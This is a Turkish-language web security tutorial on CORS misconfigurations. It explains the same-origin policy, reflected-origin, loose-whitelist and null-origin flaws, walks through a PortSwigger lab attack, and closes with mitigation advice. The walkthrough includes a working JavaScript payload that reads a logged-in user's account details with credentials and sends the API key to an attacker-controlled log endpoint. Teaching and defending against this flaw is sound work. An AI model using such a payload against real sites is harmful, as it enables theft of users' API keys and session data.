Cross-Origin Resource Sharing Yapılandırma Eksiklikleri ve İstismar Yöntemleri

CORS nedir?

CORS (Kaynaklar Arası Veri Paylaşımı), web uygulamalarının kendi domain adresi dışındaki domain adreslerinden web tarayıcısı aracılığı ile gelen veri paylaşım ihtiyaçlarının karşılaması için oluşturulmuş bir mekanizmadır. Bu mekanizma, domain’ler arası veri paylaşımının sağlanması için, aslında tarayıcılarda bulunan Aynı Kök Politikasının (Same Origin Policy – SOP) esnetilmesi ile çalışmaktadır. Mevcut güvenlik mekanizmasının genişletilmesi ve esnetilmesi nedeni ile uygun bir şekilde yapılandırılması güvenlik açısından çok önemlidir.  

SOP (Same Origin Policy) Nedir?

Web tarayıcısı aracılığı ile domain’ler arasında veri paylaşımının ancak aynı kaynağa ait domainler arasında yapılmasını sağlayan bir güvenlik mekanizmasıdır. Aynı kaynak tanımı; aynı protokol, aynı domain adresi ve aynı port numaralarını kapsamaktadır. Kısaca; web tarayıcısı aracılığı ile açılan domain adresleri arasında veri paylaşımı olabilmesi için protokol, domain adresi ve port numarasının aynı olması gerekmektedir. Aşağıdaki örnekte daha net bir şekilde anlaşılabilmektedir:

Web Tarayıcısında Açılan SayfalarErişim İzniAçıklama
http://abc.com/XYZ/EvetAynı kaynak
http://abc.com/XYZ2/EvetAynı kaynak
https://abc.com/XYZ/HayırFarklı protokol (http, https), farklı port (80,443)
http://en.abc.com/XYZ/HayırFarklı domain adresi
http://www.abc.com/XYZ/HayırFarklı domain adresi
http://abc.com:8080/XYZ/HayırFarklı port (80,8080)

Yukarıdaki tabloda görüldüğü gibi web tarayıcısı sadece aynı kaynağa sahip ilk iki sıradaki sayfalar arasında gönderilen isteklere dönen cevaplara izin verecektir. Eğer SOP kısıtlaması olmasaydı, zararlı bir sayfayı ziyaret ettiğimizde, o an oturumumuzun açık olduğu bir sayfadaki bilgilerimizin okunabilmesine izin verilecekti. Örneğin; LinkedIn’de oturumunuz açık durumda iken kötü niyetli hazırlanmış bir sayfayı ziyaret ettiğinizde, bu sayfa aracılığı ile LinkendIn oturum bilgileri dahil tüm verileriniz zararlı sayfa aracılığı ile saldırgana aktarılacaktır. Aşağıdaki ekran görüntüsünde zararlı bir sayfa tarafından yapılan isteğin, SOP ile engellenmesi gösterilmektedir:

SOP’nin Esnenetilme İhtiyacı ve CORS

Yukarıda da bahsedildiği gibi, SOP çok sıkı bir güvenlik mekanizmasıdır. Günümüzde gelişen web teknolojileri nedeni ile birçok web uygulaması, subdomain ve başka domain adresleri arasında veri trafiğine ihtiyaç duymaktadır. Bu nedenle SOP’un kontrollü bir şekilde esnetilmesi için CORS mekanizması geliştirilmiştir. CORS mekanizması, HTTP başlık bilgileri aracılığı ile çalışmaktadır.

Tarayıcı üzerinde hedef-sayfa.com ve zararlı-sayfa.com adreslerinin açık olduğunu farz edelim. Burada zararlı-sayfa.com üzerinde çalışan javascript kodu aracılığı ile istek yapıldığında, aşağıdaki istek oluşacak ve dönen cevapta “Access-Control-Allow-Origin: https:// zararlı-sayfa.com” yer aldığı için web tarayıcısı javascript kodunun çalışmasına izin verecektir.

İstekCevap
GET /hassabilgi HTTP/1.1 Host: hedef-sayfa.com
Origin: https://zararlı-sayfa.com
Cookie: sessionid=…
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https:// zararlı-sayfa.com
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive ……

Varsayılan olarak CORS mekanizması erişim ile ilgili bilgilerin (Cookies, Authorization Header vb.) paylaşılmasına müsaade etmemektedir. Ancak “Access-Control-Allow-Credentials: true” başlık bilgisinin cevap içerisinde gelmesi durumunda, erişim ile ilgili bilgilerde sayfalar arasında paylaşılmaktadır.

CORS Yapılandırması Kaynaklı Yaygın Zafiyetler

1. Sunucu Tarafında, Gelen İstek Başlık Bilgisinde Yer Alan Origin Bilgisine Göre Header Bilgisinin Oluşması:

Bazı CORS yapılandırmalarında izin verilecek domain adreslerinin beyaz listede belirlenmesi yerine, gelen tüm isteklere izin verecek şekilde yapılandırılmaktadır. Bu durumuda SOP devre dışı kalmakta ve hassas veriler tüm domainler arası paylaşılabilmektedir.

2. Beyaz Listenin Düzenlenmesi Kaynaklı Zafiyetler:

Bazı CORS yapılandırmalarında beyaz liste içerisine domain adları yazılmakta ancak subdomain adları için tanımlama yapmak yerine o domaine ait tüm subdomain’lerin erişimine izin verilmektedir. Saldırganlar bu durumdan istifade etmek için son kısmı izin verilen domain adı ile aynı olan başka domain adresi oluşturarak saldırısını gerçekleştirebilir.

Örneğin: İzin verilen web sayfası abc.com olarak tanımlandı ve tüm subdomain adreslerine izin verildiyse, saldırgan “http://zararlıabc.com” domain adresini kullanarak saldırısını gerçekleştirebilir.

3. NULL Değerinin Beyaz Listede Yer Alması:

Bazı CORS yapılandırmalarında geliştirme ortamını desteklemek amacıyla NULL ibaresi beyaz liste içerisinde tanımlanmaktadır. NULL olarak tanımlanma sebebi, tarayıcıların bazı özel durumlarda Origin değerini NULL olarak atamasından kaynaklanmaktadır. Saldırganlar da bu özel durumların oluşmasını sağlayarak web tarayıcısı tarafından NULL değerini Origin başlığında oluşturup, beyaz liste denetiminden geçebilmektedirler.

Örnek Saldırı:

1. Uygulama üzerinde oturum açma işleminden sonra aşağıdaki ekran görüntüsünde de görüldüğü gibi /accountdetails sayfasında yer alan API key değerine erişim sağlanabilmektedir. Burp Proxy aracılığı ile cevap paketi incelendiğinde; Access-Control-Allow-Origin ve Access-Control-Allow-Credentials başlık bilgilerinin bulunduğu görülmektedir. Bu bilgiler bu uygulamada CORS uygulandığı ve web tarayıcısı SOP’nin esnetildiği anlamına gelmektedir.

CORS saldırısına örnek olması amacıyla PortSwigger eğitim laboratuvarında yer alan uygulama üzerinde çalışma yapılmıştır.

2. CORS yapılandırması ile ilgili zafiyet olup olmadığını anlamak amacıyla gönderilen istek içerisinde “Origin” başlık bilgisine farklı bir domain adı yazarak isteği gönderip, gönderilen origin bilgisinin herhangi bir beyaz liste tarafından kontrol edilip edilmeyeceğini test edeceğiz. Aşağıda normal istek ile oluşan origin bilgisi yer almaktadır.

İstek manipüle edilerek, “origin header” bilgisi https://example.com domain adresi yazılarak sunucuya gönderilmiştir. Dönen cevapta herhangi bir beyaz liste uygulanmadığı ve https://example.com domain adresine web tarayıcısı aracılığı ile veri paylaşımına izin verdiği tespit edilmiştir.

3. CORS yapılandırması ile ilgili zafiyet tespit edildikten sonra saldırgan kullanıcının apikey bilgisini ele geçirmek amacıyla, kullanıcıyı kendisinin hazırladığı zararlı sayfayı açmaya yönlendirmesi gerekmektedir.  Saldırgan kendisinin oluşturduğu zararlı sayfada aşağıda yer alan javascript kodunun çalışması ile hedef kullanıcının ”apikey” bilgisini ele geçirebilecektir.

<script>

var req = new XMLHttpRequest();

req.onload = reqListener;

req.open(‘get’,’$url/accountDetails’,true);

req.withCredentials = true; req.send();

function reqListener() { location=’/log?key=’+this.responseText; };

</script>

Web tarayıcısı aracılığı ile “apikey” dahil kullanıcı bilgileri this.responseText parametresi aracılığı ile saldırganın hazırlamış olduğu sunucuya iletilecektir.

CORS Yapılandırma Zafiyeti Oluşmaması için Dikkat Edilecek Hususlar

  1. Web Uygulamasının hassas verileri içermesi durumunda beyaz liste uygulanarak, Access-Control-Allow-Origin başlık bilgisiyle sadece güvenilen kaynaklara izin verilecek şekilde yapılandırılmalıdır.
  2. Yerel ağlar da dahil olmak üzere beyaz liste yerine wildcard (*) kullanılmamalıdır.
  3. CORS için hazırlanan beyaz liste “null” ifadesini içermemelidir.  

Yazar: Emre Çalışkan

Kaynaklar:

https://book.hacktricks.xyz/pentesting-web/cors-bypass

https://portswigger.net/web-security/cors

https://portswigger.net/web-security/cors/access-control-allow-origin

https://0xn3va.gitbook.io/cheat-sheets/web-application/cors-misconfiguration